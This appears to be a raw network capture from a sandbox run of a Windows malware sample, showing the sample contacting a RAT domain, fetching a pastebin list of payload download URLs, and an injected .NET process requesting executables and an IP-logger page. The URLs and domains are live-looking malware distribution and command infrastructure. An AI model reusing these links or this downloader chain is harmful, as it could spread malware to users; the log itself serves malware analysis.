2024-03-11 02:30:40 UTC	239	OUT	GET /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity If-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMT Range: bytes=0-2147483646 User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-03-11 02:30:40 UTC	530	IN	HTTP/1.1 200 OK Content-Type: application/octet-stream Last-Modified: Tue, 16 May 2017 22:58:00 GMT ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" ApiVersion: Distribute 1.1 Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json X-Azure-Ref: 0Fz4RYwAAAACZW8dCTzveR7lI76J6Z2l5U0pDRURHRTA1MTgAY2VmYzI1ODMtYTliMi00NGE3LTk3NTUtYjc2ZDE3ZTA1Zjdm Cache-Control: public, max-age=60939 Date: Mon, 11 Mar 2024 02:30:40 GMT Content-Length: 55 Connection: close X-CID: 2
2024-03-11 02:30:40 UTC	55	IN	Data Raw: 7b 22 66 6f 6e 74 53 65 74 55 72 69 22 3a 22 66 6f 6e 74 73 65 74 2d 32 30 31 37 2d 30 34 2e 6a 73 6f 6e 22 2c 22 62 61 73 65 55 72 69 22 3a 22 66 6f 6e 74 73 22 7d Data Ascii: {"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.5	53550	222.255.238.159	443	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-11 02:30:44 UTC	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
2024-03-11 02:30:44 UTC	192	IN	HTTP/1.1 500 Internal Server Error Date: Mon, 11 Mar 2024 02:30:44 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 613 Connection: close Content-Type: text/html; charset=iso-8859-1
2024-03-11 02:30:44 UTC	613	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 35 30 30 20 49 6e 74 65 72 6e 61 6c 20 53 65 72 76 65 72 20 45 72 72 6f 72 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 49 6e 74 65 72 6e 61 6c 20 53 65 72 76 65 72 20 45 72 72 6f 72 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 73 65 72 76 65 72 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 61 6e 20 69 6e 74 65 72 6e 61 6c 20 65 72 72 6f 72 20 6f 72 0a 6d 69 73 63 6f 6e 66 69 67 75 72 61 74 69 6f 6e 20 61 6e 64 20 77 61 73 20 75 6e 61 62 6c 65 20 74 6f 20 63 6f 6d 70 6c 65 74 65 0a 79 6f 75 72 20 72 65 71 75 65 73 74 2e 3c Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>500 Internal Server Error</title></head><body><h1>Internal Server Error</h1><p>The server encountered an internal error ormisconfiguration and was unable to completeyour request.<

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.5	55130	104.21.54.158	443	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-11 02:30:46 UTC	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
2024-03-11 02:30:46 UTC	161	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 02:30:46 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: -
2024-03-11 02:30:46 UTC	155	IN	Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
5	192.168.2.5	55554	104.20.68.143	443

Timestamp	Bytes transferred	Direction	Data
2024-03-11 02:30:52 UTC	74	OUT	GET /raw/E0rY26ni HTTP/1.1 Host: pastebin.com Connection: Keep-Alive
2024-03-11 02:30:53 UTC	388	IN	HTTP/1.1 200 OK Date: Mon, 11 Mar 2024 02:30:53 GMT Content-Type: text/plain; charset=utf-8 Transfer-Encoding: chunked Connection: close x-frame-options: DENY x-content-type-options: nosniff x-xss-protection: 1;mode=block cache-control: public, max-age=1801 CF-Cache-Status: MISS Last-Modified: Mon, 11 Mar 2024 02:30:53 GMT Server: cloudflare CF-RAY: 862820056e120ad7-LAS
2024-03-11 02:30:53 UTC	800	IN	Data Raw: 33 31 39 0d 0a 68 74 74 70 3a 2f 2f 31 38 35 2e 31 37 32 2e 31 32 38 2e 31 32 36 2f 49 6e 73 74 61 6c 6c 53 65 74 75 70 35 2e 65 78 65 0d 0a 68 74 74 70 73 3a 2f 2f 62 69 74 62 75 63 6b 65 74 2e 6f 72 67 2f 6a 2d 75 70 73 70 73 2f 6d 69 63 72 6f 73 6f 66 74 5f 6e 65 74 77 6f 72 6b 31 2f 64 6f 77 6e 6c 6f 61 64 73 2f 61 30 32 2e 65 78 65 0d 0a 68 74 74 70 73 3a 2f 2f 73 68 69 70 6f 66 64 65 73 74 69 6e 79 2e 63 6f 6d 2f 62 61 66 31 34 37 37 38 63 32 34 36 65 31 35 35 35 30 36 34 35 65 33 30 62 61 37 38 63 65 31 63 2e 65 78 65 0d 0a 68 74 74 70 73 3a 2f 2f 73 74 79 2e 69 6e 6b 2f 70 70 67 38 78 0d 0a 68 74 74 70 73 3a 2f 2f 6e 61 6d 65 6d 61 69 6c 2e 6f 72 67 2f 36 37 37 39 64 38 39 62 37 61 33 36 38 66 34 66 33 66 33 34 30 62 35 30 61 39 64 31 38 64 37 31 Data Ascii: 319http://185.172.128.126/InstallSetup5.exehttps://bitbucket.org/j-upsps/microsoft_network1/downloads/a02.exehttps://shipofdestiny.com/baf14778c246e15550645e30ba78ce1c.exehttps://sty.ink/ppg8xhttps://namemail.org/6779d89b7a368f4f3f340b50a9d18d71
2024-03-11 02:30:53 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.5	55562	172.67.169.89	443	44264	C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-11 02:30:53 UTC	65	OUT	GET /RNWPd.exe HTTP/1.1 Host: yip.su Connection: Keep-Alive
2024-03-11 02:30:54 UTC	898	IN	HTTP/1.1 200 OK Date: Mon, 11 Mar 2024 02:30:53 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close memory: 0.36199188232421875 expires: Mon, 11 Mar 2024 02:30:53 +0000 strict-transport-security: max-age=604800 strict-transport-security: max-age=31536000 content-security-policy: img-src https: data:; upgrade-insecure-requests x-frame-options: SAMEORIGIN Cache-Control: max-age=14400 CF-Cache-Status: EXPIRED Last-Modified: Sun, 10 Mar 2024 13:56:44 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=5lluPna3WPbvKwVifapt0MRIa1opUa7OzY9%2BsISIG%2BwbDXmgizIdYAc6HHHYb4O8QhD5auQfixTLegob9idrj2hoyMl18J9aNIXokonwhO35AdGGaO14Xi4%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 86282007597709fb-LAS alt-svc: h3=":443"; ma=86400
2024-03-11 02:30:54 UTC	471	IN	Data Raw: 31 64 31 36 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 22 20 63 6c 61 73 73 3d 22 68 74 6d 6c 22 3e 0a 3c 68 65 61 64 3e 0a 09 3c 74 69 74 6c 65 3e 3c 2f 74 69 74 6c 65 3e 0a 09 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 20 2f 3e 0a 09 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 22 3e 0a 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c Data Ascii: 1d16<!DOCTYPE html><html lang="" class="html"><head><title></title><meta http-equiv="content-type" content="text/html; charset=utf-8" /><meta http-equiv="X-UA-Compatible" content="IE=edge"> <meta name="viewport" content="width=device-width,
2024-03-11 02:30:54 UTC	1369	IN	Data Raw: 72 22 20 63 6f 6e 74 65 6e 74 3d 22 37 20 64 61 79 73 22 20 2f 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 6b 65 79 77 6f 72 64 73 22 20 63 6f 6e 74 65 6e 74 3d 22 22 20 2f 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 22 20 2f 3e 0a 0a 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 68 6f 72 74 63 75 74 20 69 63 6f 6e 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 63 64 6e 2e 69 70 6c 6f 67 67 65 72 2e 6f 72 67 2f 66 61 76 69 63 6f 6e 2e 69 63 6f 22 20 74 79 70 65 3d 22 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 22 20 2f 3e 0a 0a 09 3c 6d 65 74 61 20 70 72 6f 70 65 72 74 79 3d 22 6f 67 3a 69 6d 61 67 65 22 20 63 6f 6e 74 65 6e 74 3d 22 68 74 74 70 73 3a 2f 2f 63 64 6e 2e 69 70 6c 6f 67 67 65 72 2e 6f 72 Data Ascii: r" content="7 days" /><meta name="keywords" content="" /><meta name="description" content="" /><link rel="shortcut icon" href="https://cdn.iplogger.org/favicon.ico" type="image/x-icon" /><meta property="og:image" content="https://cdn.iplogger.or
2024-03-11 02:30:54 UTC	1369	IN	Data Raw: 6e 65 7d 23 6c 6f 61 64 65 72 3e 73 70 61 6e 7b 68 65 69 67 68 74 3a 31 36 70 78 3b 77 69 64 74 68 3a 31 36 70 78 3b 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 35 30 25 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 33 33 38 62 64 39 3b 64 69 73 70 6c 61 79 3a 69 6e 6c 69 6e 65 2d 62 6c 6f 63 6b 3b 6d 61 72 67 69 6e 3a 32 35 70 78 20 35 70 78 20 30 3b 2d 77 65 62 6b 69 74 2d 61 6e 69 6d 61 74 69 6f 6e 3a 6a 75 6d 70 20 31 73 20 6c 69 6e 65 61 72 20 69 6e 66 69 6e 69 74 65 3b 61 6e 69 6d 61 74 69 6f 6e 3a 6a 75 6d 70 20 31 73 20 6c 69 6e 65 61 72 20 69 6e 66 69 6e 69 74 65 7d 23 6c 6f 61 64 65 72 3e 73 70 61 6e 3a 6e 74 68 2d 63 68 69 6c 64 28 32 29 7b 2d 77 65 62 6b 69 74 2d 61 6e 69 6d 61 74 69 6f 6e 2d 64 65 6c 61 79 3a 30 2e 32 73 3b 61 6e 69 Data Ascii: ne}#loader>span{height:16px;width:16px;border-radius:50%;background-color:#338bd9;display:inline-block;margin:25px 5px 0;-webkit-animation:jump 1s linear infinite;animation:jump 1s linear infinite}#loader>span:nth-child(2){-webkit-animation-delay:0.2s;ani
2024-03-11 02:30:54 UTC	1369	IN	Data Raw: 72 69 70 74 3e 0a 09 76 61 72 20 5f 70 3b 0a 09 69 66 28 6e 61 76 69 67 61 74 6f 72 26 26 6e 61 76 69 67 61 74 6f 72 2e 75 73 65 72 41 67 65 6e 74 44 61 74 61 26 26 6e 61 76 69 67 61 74 6f 72 2e 75 73 65 72 41 67 65 6e 74 44 61 74 61 2e 70 6c 61 74 66 6f 72 6d 3d 3d 3d 27 57 69 6e 64 6f 77 73 27 29 7b 6e 61 76 69 67 61 74 6f 72 2e 75 73 65 72 41 67 65 6e 74 44 61 74 61 2e 67 65 74 48 69 67 68 45 6e 74 72 6f 70 79 56 61 6c 75 65 73 28 5b 27 70 6c 61 74 66 6f 72 6d 56 65 72 73 69 6f 6e 27 5d 29 2e 74 68 65 6e 28 75 61 3d 3e 7b 5f 70 3d 70 61 72 73 65 49 6e 74 28 75 61 2e 70 6c 61 74 66 6f 72 6d 56 65 72 73 69 6f 6e 2e 73 70 6c 69 74 28 27 2e 27 29 5b 30 5d 29 7d 29 7d 0a 09 76 61 72 20 5f 79 3d 5b 5d 2c 5f 7a 3d 7b 7d 2c 5f 78 3d 66 75 6e 63 74 69 6f 6e 28 Data Ascii: ript>var _p;if(navigator&&navigator.userAgentData&&navigator.userAgentData.platform==='Windows'){navigator.userAgentData.getHighEntropyValues(['platformVersion']).then(ua=>{_p=parseInt(ua.platformVersion.split('.')[0])})}var _y=[],_z={},_x=function(
2024-03-11 02:30:54 UTC	1369	IN	Data Raw: 6f 72 65 20 70 72 6f 63 65 73 73 69 6e 67 2e 2e 2e 3c 2f 64 69 76 3e 0a 09 3c 2f 64 69 76 3e 0a 0a 20 20 20 20 3c 73 63 72 69 70 74 3e 0a 20 20 20 20 5f 63 28 29 3b 0a 3c 2f 73 63 72 69 70 74 3e 0a 0a 3c 73 74 79 6c 65 3e 0a 2e 77 72 61 70 70 65 72 7b 6d 61 72 67 69 6e 2d 74 6f 70 3a 31 30 30 70 78 7d 2e 63 6f 6e 74 61 69 6e 65 72 7b 77 69 64 74 68 3a 34 34 30 70 78 3b 6d 69 6e 2d 77 69 64 74 68 3a 33 32 30 70 78 3b 68 65 69 67 68 74 3a 33 35 30 70 78 3b 64 69 73 70 6c 61 79 3a 2d 6d 73 2d 66 6c 65 78 62 6f 78 3b 64 69 73 70 6c 61 79 3a 66 6c 65 78 3b 2d 6d 73 2d 66 6c 65 78 2d 61 6c 69 67 6e 3a 63 65 6e 74 65 72 3b 61 6c 69 67 6e 2d 69 74 65 6d 73 3a 63 65 6e 74 65 72 3b 2d 6d 73 2d 66 6c 65 78 2d 70 61 63 6b 3a 63 65 6e 74 65 72 3b 6a 75 73 74 69 66 79 Data Ascii: ore processing...</div></div> <script> _c();</script><style>.wrapper{margin-top:100px}.container{width:440px;min-width:320px;height:350px;display:-ms-flexbox;display:flex;-ms-flex-align:center;align-items:center;-ms-flex-pack:center;justify
2024-03-11 02:30:54 UTC	1369	IN	Data Raw: 20 2e 6c 6f 67 6f 2d 74 65 78 74 7b 63 6f 6c 6f 72 3a 23 30 37 34 64 37 63 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 63 65 6e 74 65 72 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 32 70 78 3b 77 68 69 74 65 2d 73 70 61 63 65 3a 6e 6f 77 72 61 70 3b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 61 72 69 61 6c 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 37 30 30 7d 0a 3c 2f 73 74 79 6c 65 3e 0a 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 77 72 61 70 70 65 72 22 3e 0a 0a 20 20 20 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 6f 6e 74 61 69 6e 65 72 22 3e 0a 20 20 20 09 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 68 65 61 64 65 72 22 3e 0a 09 09 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 64 6f 6d 61 69 6e 22 3e 0a 09 09 09 09 3c 64 69 76 20 69 64 3d 22 64 6f 6d 61 69 6e 22 3e 79 69 70 2e 73 75 3c 2f 64 69 Data Ascii: .logo-text{color:#074d7c;text-align:center;font-size:12px;white-space:nowrap;font-family:arial;font-weight:700}</style><div class="wrapper"> <div class="container"> <div class="header"><div class="domain"><div id="domain">yip.su</di
2024-03-11 02:30:54 UTC	138	IN	Data Raw: 75 74 65 27 2c 61 2e 73 74 79 6c 65 2e 74 6f 70 3d 69 2c 61 2e 73 74 79 6c 65 2e 6c 65 66 74 3d 69 2c 61 2e 73 72 63 3d 27 68 74 74 70 73 3a 2f 2f 63 6f 75 6e 74 65 72 2e 79 61 64 72 6f 2e 72 75 2f 68 69 74 3f 27 2b 75 72 6c 2e 6a 6f 69 6e 28 27 3b 27 29 2c 64 2e 62 6f 64 79 2e 61 70 70 65 6e 64 43 68 69 6c 64 28 61 29 3b 0a 09 3c 2f 73 63 72 69 70 74 3e 0a 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: ute',a.style.top=i,a.style.left=i,a.src='https://counter.yadro.ru/hit?'+url.join(';'),d.body.appendChild(a);</script></body></html>
2024-03-11 02:30:54 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.5	55560	20.114.59.183	443

Timestamp	Bytes transferred	Direction	Data
2024-03-11 02:30:54 UTC	306	OUT	GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=ukzbu+vH1LRx6rZ&MD=mpFDpHgu HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33 Host: slscr.update.microsoft.com
2024-03-11 02:30:54 UTC	560	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "XAopazV00XDWnJCwkmEWRv6JkbjRA9QSSZ2+e/3MzEk=_2880" MS-CorrelationId: c5e92f46-11df-45b0-8927-e0dc98294ecd MS-RequestId: c5322595-e92e-4ed5-80ca-b1601a11cc38 MS-CV: teMwaG+Go0aV5YWu.0 X-Microsoft-SLSClientCache: 2880 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Mon, 11 Mar 2024 02:30:53 GMT Connection: close Content-Length: 24490
2024-03-11 02:30:54 UTC	15824	IN	Data Raw: 4d 53 43 46 00 00 00 00 92 1e 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 23 d0 00 00 14 00 00 00 00 00 10 00 92 1e 00 00 18 41 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 e6 42 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 78 cf 8d 5c 26 1e e6 42 43 4b ed 5c 07 54 13 db d6 4e a3 f7 2e d5 d0 3b 4c 42 af 4a 57 10 e9 20 bd 77 21 94 80 88 08 24 2a 02 02 d2 55 10 a4 a8 88 97 22 8a 0a d2 11 04 95 ae d2 8b 20 28 0a 88 20 45 05 f4 9f 80 05 bd ed dd f7 ff 77 dd f7 bf 65 d6 4a 66 ce 99 33 67 4e d9 7b 7f fb db 7b 56 f4 4d 34 b4 21 e0 a7 03 0a d9 fc 68 6e 1d 20 70 28 14 02 85 20 20 ad 61 10 08 e3 66 0d ed 66 9b 1d 6a 90 af 1f 17 f0 4b 68 35 01 83 6c fb 44 42 5c 7d 83 3d 03 30 be 3e ae be 58 Data Ascii: MSCFD#AdBenvironment.cabx\&BCK\TN.;LBJW w!$*U" ( EweJf3gN{{VM4!hn p( affjKh5lDB\}=0>X
2024-03-11 02:30:54 UTC	8666	IN	Data Raw: 04 01 31 2f 30 2d 30 0a 02 05 00 e1 2b 8a 50 02 01 00 30 0a 02 01 00 02 02 12 fe 02 01 ff 30 07 02 01 00 02 02 11 e6 30 0a 02 05 00 e1 2c db d0 02 01 00 30 36 06 0a 2b 06 01 04 01 84 59 0a 04 02 31 28 30 26 30 0c 06 0a 2b 06 01 04 01 84 59 0a 03 02 a0 0a 30 08 02 01 00 02 03 07 a1 20 a1 0a 30 08 02 01 00 02 03 01 86 a0 30 0d 06 09 2a 86 48 86 f7 0d 01 01 05 05 00 03 81 81 00 0c d9 08 df 48 94 57 65 3e ad e7 f2 17 9c 1f ca 3d 4d 6c cd 51 e1 ed 9c 17 a5 52 35 0f fd de 4b bd 22 92 c5 69 e5 d7 9f 29 23 72 40 7a ca 55 9d 8d 11 ad d5 54 00 bb 53 b4 87 7b 72 84 da 2d f6 e3 2c 4f 7e ba 1a 58 88 6e d6 b9 6d 16 ae 85 5b b5 c2 81 a8 e0 ee 0a 9c 60 51 3a 7b e4 61 f8 c3 e4 38 bd 7d 28 17 d6 79 f0 c8 58 c6 ef 1f f7 88 65 b1 ea 0a c0 df f7 ee 5c 23 c2 27 fd 98 63 08 31 Data Ascii: 1/0-0+P000,06+Y1(0&0+Y0 00*HHWe>=MlQR5K"i)#r@zUTS{r-,O~Xnm[`Q:{a8}(yXe\#'c1

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.5	55569	172.67.200.219	443	44264	C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-11 02:30:54 UTC	62	OUT	GET /ppg8x HTTP/1.1 Host: sty.ink Connection: Keep-Alive
2024-03-11 02:30:54 UTC	1188	IN	HTTP/1.1 200 OK Date: Mon, 11 Mar 2024 02:30:54 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Cache-Control: no-cache, private Set-Cookie: XSRF-TOKEN=eyJpdiI6ImMvaFlYb2dlSm8rRG1YVnZ3RVRrMXc9PSIsInZhbHVlIjoiN2xUd0lGak44bkdYQ1pLb3pRVTUzVk10QVdDYVlEdHo1NHhMTUpUNkNIdkhvbHdVczhTZjBoZmJKdmZMTW5VZldzUHRGSFhSS0RkL2dnUURMVkRxUGZCczNLUXN2SklvSTIwN1hxL2VTajhmR2ZnYkdFT1JSMFEycjRoT0hnZTMiLCJtYWMiOiIxMDU0MTA1ZTRlN2M2YjVmZWNiZDQzNWIyODQzZTg0ODYwN2NjMTg2YWJhNWU4NzI2NDEyOWY3ZTdkZDg4OTExIiwidGFnIjoiIn0%3D; expires=Mon, 11 Mar 2024 04:30:54 GMT; Max-Age=7200; path=/; secure set-cookie: shortiny_session=eyJpdiI6ImZReHEwZUtaZzlPUUR4NjZlRms4ZXc9PSIsInZhbHVlIjoibzliZlpwOEE0YkVmdDk3U2ZCQVNkODkwdys1NGt3aTRkVTdvU3ZLZjdCREZ0TGxuQm96eDRLeXlCWDFXUmlCdmFqVFpFVVBFbUV6cm84NWtoUURKU0ttZnJjUzBvd0YyNk01aHR2WGRZeS9qMkg1Y0hRTG0rSjdaamk0Y0dRa0oiLCJtYWMiOiJiYzAzOWQ1ZmNmNzc2YjhiODg2MDM4NjQ0YzZlOGMxMGMxYTIwOGQ0YWY3YjU2ODU4NjdmMjQxN2I1MjRjOGUzIiwidGFnIjoiIn0%3D; expires=Mon, 11 Mar 2024 04:30:54 GMT; Max-Age=7200; path=/; httponly X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=15768000 CF-Cache-Status: DYNAMIC
2024-03-11 02:30:54 UTC	397	IN	Data Raw: 52 65 70 6f 72 74 2d 54 6f 3a 20 7b 22 65 6e 64 70 6f 69 6e 74 73 22 3a 5b 7b 22 75 72 6c 22 3a 22 68 74 74 70 73 3a 5c 2f 5c 2f 61 2e 6e 65 6c 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 5c 2f 72 65 70 6f 72 74 5c 2f 76 33 3f 73 3d 5a 4c 6c 6f 53 25 32 46 4d 34 61 45 44 67 72 6e 55 56 63 52 64 38 65 78 51 33 4e 31 45 33 4d 25 32 42 35 6d 62 37 45 4f 4b 6d 49 79 74 77 25 32 46 65 4d 45 6e 67 31 65 46 64 44 72 31 51 4c 77 34 64 58 78 69 76 34 52 33 31 4d 36 6e 33 70 66 63 41 56 65 78 6b 25 32 46 47 74 75 72 41 55 65 53 65 52 43 39 46 77 62 55 6b 78 54 6b 63 73 34 4b 76 51 62 38 64 69 39 4f 66 25 32 46 4e 67 66 70 36 22 7d 5d 2c 22 67 72 6f 75 70 22 3a 22 63 66 2d 6e 65 6c 22 2c 22 6d 61 78 5f 61 67 65 22 3a 36 30 34 38 30 30 7d 0d 0a 4e 45 4c 3a 20 7b 22 Data Ascii: Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=ZLloS%2FM4aEDgrnUVcRd8exQ3N1E3M%2B5mb7EOKmIytw%2FeMEng1eFdDr1QLw4dXxiv4R31M6n3pfcAVexk%2FGturAUeSeRC9FwbUkxTkcs4KvQb8di9Of%2FNgfp6"}],"group":"cf-nel","max_age":604800}NEL: {"
2024-03-11 02:30:54 UTC	1369	IN	Data Raw: 65 31 63 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 63 6c 61 73 73 3d 22 68 2d 31 30 30 20 73 63 72 6f 6c 6c 2d 62 65 68 61 76 69 6f 72 2d 73 6d 6f 6f 74 68 20 22 20 64 69 72 3d 22 6c 74 72 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0a 0a 20 20 20 20 3c 21 2d 2d 20 43 53 52 46 20 54 6f 6b 65 6e 20 2d 2d 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 63 73 72 66 2d 74 6f 6b 65 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 Data Ascii: e1c<!DOCTYPE html><html lang="en" class="h-100 scroll-behavior-smooth " dir="ltr"><head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1"> ... CSRF Token --> <meta name="csrf-token" content="
2024-03-11 02:30:54 UTC	1369	IN	Data Raw: 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 73 68 6f 72 74 69 6e 79 2e 63 6f 6d 22 20 63 6c 61 73 73 3d 22 62 74 6e 20 62 74 6e 2d 70 72 69 6d 61 72 79 22 3e 47 6f 20 62 61 63 6b 3c 2f 61 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 3c 2f 64 69 76 3e 0a 3c 2f 64 69 76 3e 0a 0a 20 20 20 20 20 20 20 20 3c 66 6f 6f 74 65 72 20 69 64 3d 22 66 6f 6f 74 65 72 22 20 63 6c 61 73 73 3d 22 66 6f 6f 74 65 72 20 62 67 2d 62 61 73 65 2d 30 20 64 2d 70 72 69 6e 74 2d 6e 6f 6e 65 22 3e 0a 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 6f 6e 74 61 69 6e 65 72 Data Ascii: <a href="https://shortiny.com" class="btn btn-primary">Go back</a> </div> </div> </div> </div></div> <footer id="footer" class="footer bg-base-0 d-print-none"> <div class="container
